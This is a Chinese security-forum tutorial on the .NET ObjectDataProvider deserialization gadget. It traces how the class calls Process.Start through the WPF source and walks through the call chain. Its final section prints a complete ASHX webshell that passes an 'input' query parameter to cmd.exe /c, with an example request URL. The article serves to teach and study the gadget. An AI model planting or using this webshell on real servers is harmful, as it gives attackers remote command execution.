问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
.NET执行系统命令(第1课)之 ObjectDataProvider
漏洞分析
## 0X01 背景 .NET反序列化漏洞里提及的核心Gadget:**ObjectDataProvider类**,封装于WPF核心程序集之一PresentationFramewor...
0X01 ObjectDataProvider类使用方法 ============================ .NET反序列化漏洞核心Gadget:**ObjectDataProvider类**,封装于WPF核心程序集之一PresentationFramework.dll,也是[第12课](https://mp.weixin.qq.com/s/sHKR0zlW2CsphGAmv3_KVA)里重点介绍的类,处于System.Windows.Data命名空间下,顾名思义就是把一个**非静态类实例化后的对象作为数据源提供给WPF控件绑定**,常见用法如下 ```php ObjectDataProvider obj = new ObjectDataProvider(); obj.MethodParameters.Add("calc"); obj.MethodName = "Start"; obj.ObjectInstance = new System.Diagnostics.Process(); ``` ObjectDataProvider对象的ObjectInstance设置为Process对象,MethodName设置为Process类的Start方法,MethodParamers为Start方法传递的参数 calc,查看此类的定义可知除了ObjectInstance属性外,还提供了ObjectType属性,也可被设置为任意类型 ![1574205-20220426145605981-30873384.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-6c371c54603811229c9c2ee1863500d837427803.png) 那么可用 typeof 获取 Process 所在命名空间的类型引用 ```php ObjectDataProvider objectDataProvider = new ObjectDataProvider() { ObjectType = typeof(System.Diagnostics.Process) }; objectDataProvider.MethodParameters.Add("calc"); objectDataProvider.MethodName = "Start"; ``` 另外可以使用System.Object.GetType() , 返回表示当前对象的Type实例,改写的代码如下 ```php ObjectDataProvider objectDataProvider = new ObjectDataProvider() { ObjectType = new System.Diagnostics.Process().GetType() }; objectDataProvider.MethodParameters.Add("calc"); objectDataProvider.MethodName = "Start"; ``` 其实从.NET 源码可见ObjectInstance底层实现也是通过对象的GetType()得到类型 ![Flw04Ch2k0wKCNs8llE5pxx2aWjd.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-0aa5b41cb217b3a1e007fa730d356e92ce1356a6.png) 还可使用 System.Type类的静态成员 GetType(文本,是否抛出异常,区分大小写) , 需在第一个参数指定类型的完全限定名,限定名包含了类所在的命名空间、程序集名、版本、语言、PublicKeyToken,采用这种方法的好处在于可指定文本信息,编译时不需要提供数据类型 ```php ObjectDataProvider objectDataProvider = new ObjectDataProvider() { ObjectType = Type.GetType("System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", true,true); }; objectDataProvider.MethodParameters.Add("calc"); objectDataProvider.MethodName = "Start"; ``` 0X02 ObjectDataProvider调用链 ========================== 下图描绘整个WPF项目窗体创建启动到ObjectDataProvider实例化调用对象过程中所有的调用链,右侧是WPF窗体创建过程调用链,左侧是ObjectDataProvider实例化载入任意对象过程的调用栈信息 ![lALPJwnIyQ-hYmTNAw_NBtI_1746_783.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-d0d061383a8ff34cf1c9f29e1d8c64b5386228e9.png) 笔者在MainWindow窗体类中实例化了对象ObjectDataProvider,并且继承了DataSourceProvider类,DataSourceProvider定义了两个重要方法,Refresh方法调用虚方法BeginQuery,这个BeginQuery将来会在ObjectDataProvider类里实现。 ```php public void Refresh() { this._initialLoadCalled = true; this.BeginQuery(); } protected virtual void BeginQuery() { } ``` 然后这个过程干了3件事,第1件事进入ObjectDataProvider类的构造方法实例化集合,该集合ParameterCollection继承于Collection<Object>,并声明一个委托ParameterCollectionChanged,用于OnParametersChanged 时调用定义在Collection类的公开方法,并重写了Collection类里的InsertItem,SetItem,RemoveItem等多个方法,由于InsertItem声明是受保护的方法不可直接被调用,而Addf声明为公共方法可被调用, 所以设置 MethodParameters.Add("calc") ```php public ObjectDataProvider() { this._methodParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged)); this._sourceDataChangedHandler = new EventHandler(this.OnSourceDataChanged); } ``` ```php public ParameterCollection(ParameterCollectionChanged parametersChanged) => this._parametersChanged = parametersChanged; protected override void InsertItem(int index, object value) { this.CheckReadOnly(); base.InsertItem(index, value); this.OnCollectionChanged(); } private void OnCollectionChanged() => this._parametersChanged(this); ``` ```php public void Add(T item) { if (this.items.IsReadOnly) ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_ReadOnlyCollection); this.InsertItem(this.items.Count, item); } ``` 第2件事通过set\_ObjectInstance设置需要创建实例化对象名,this.\_mode == ObjectDataProvider.SourceMode.FromType 这行判断如果枚举的值为FromType就抛出异常,等于说ObjectDataProvider.ObjectType和ObjectDataProvider.ObjectInstance 在实例化时只能二选一,另外SetObjectInstance方法中也是通过value?.GetType()的方式获得类型完全限定名,这点和上一小节1.2演示的Demo一样。 ```php public object ObjectInstance { set { if (this._mode == ObjectDataProvider.SourceMode.FromType) throw new InvalidOperationException(System.Windows.SR.Get("ObjectDataProviderCanHaveOnlyOneSource")); this._mode = value == null ? ObjectDataProvider.SourceMode.NoSource : ObjectDataProvider.SourceMode.FromInstance; if (this.ObjectInstance == value) return; if (!this.SetObjectInstance(value) || this.IsRefreshDeferred) return; this.Refresh(); } } private bool SetObjectInstance(object value) { if (this._objectInstance == value) return false; this._objectInstance = value; this.SetObjectType(value?.GetType()); this.OnPropertyChanged("ObjectInstance"); return true; } ``` ObjectType属性底层实现原理如下,this.\_objectType = newType; 直接赋值给了传递的Type类型参数,例如上一小节1.1演示的Demo,ObjectType = typeof(System.Diagnostics.Process) ```php private bool SetObjectType(Type newType) { if (!(this._objectType != newType)) return false; this._objectType = newType; this.OnPropertyChanged("ObjectType"); return true; } ``` 第3件通过set\_MethodName设置对象调用的方法,例如此处的 objectDataProvider.MethodName = "Start"; ```php public string MethodName { get => this._methodName; set { this._methodName = value; this.OnPropertyChanged(nameof (MethodName)); if (this.IsRefreshDeferred) return; this.Refresh(); } } ``` 接着依次进入下面3个方法 BeginQuery -> QueryWorker ->InvokeMethodOnInstance,BeginQuery终在ObjectDataProvider类里重写实现调用,InvokeMethodOnInstance方法通过属性this.\_objectType反射出MethodName里设置的MethodParameters数组,此处是objArray,至此ObjectDataProvider底层运行原理介绍完毕。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-a95972ab1abcdb3fbe7d45042e9b1f9e7c7536ad.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-9325a8ca55d8a89928eb58ec4500eff8044655b1.png) 0X03 编写Web脚本程序 ============== 程序内部采用Base64编码和解码的解析方式运行,这样的好处在于对URL特殊字符串的处置,启动Process类调用cmd.exe/c calc.exe 执行命令,核心代码如下 ```php public static void CodeInject(string input) { string ExecCode = EncodeBase64("utf-8", input); ObjectDataProvider objectDataProvider = new ObjectDataProvider() { ObjectInstance = new System.Diagnostics.Process(), }; objectDataProvider.MethodParameters.Add("cmd.exe"); objectDataProvider.MethodParameters.Add("/c " + DecodeBase64("utf-8",ExecCode)); objectDataProvider.MethodName = "Start"; } public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/plain"; if (!string.IsNullOrEmpty(context.Request["input"])) { CodeInject(context.Request["input"]); context.Response.Write("Status: 执行完毕!"); } else { context.Response.Write("1. example: http://www.xxxxxxx.com/ObjectDataProviderSpy.ashx?input=calc.exe\n\n"); context.Response.Write("2. 程序调用cmd.exe/c calc.exe 执行命令,注意:本程序仅供实验学习 ObjectDataProvider类,请勿违法滥用!"); } } ``` 笔者创建的是ashx扩展名的文件,访问 <http://localhost:52188/ObjectDataProviderSpy.ashx?input=calc> ![FszadLIvzFc1URm5xC1msHb7OXAR.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-56839e056a10f6f9a93c784b314c7da133816a2c.png) 另外在上小节ObjectDataProvider类提到ObjectType属性也可以设定对象的类型,而.NET里获取 Type数据类型常用的有typeof运算符、System.Type类GetType方法、System.Object.Type,所以将 ObjectInstance 替换成 ObjectType 也可以触发命令执行。 0X04 结语 ======= ObjectDataProvider的确很神奇,希望未来不会被恶意滥用,好啦本文就介绍到此,文章涉及的WebShell已打包到[Github](https://github.com/Ivan1ee/),下期会继续分享.NET执行命令第2课,请大伙继续关注和支持!
发表于 2022-05-12 09:25:53
阅读 ( 5713 )
分类:
WEB安全
0 推荐
收藏
0 条评论
请先
登录
后评论
Ivan1ee
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!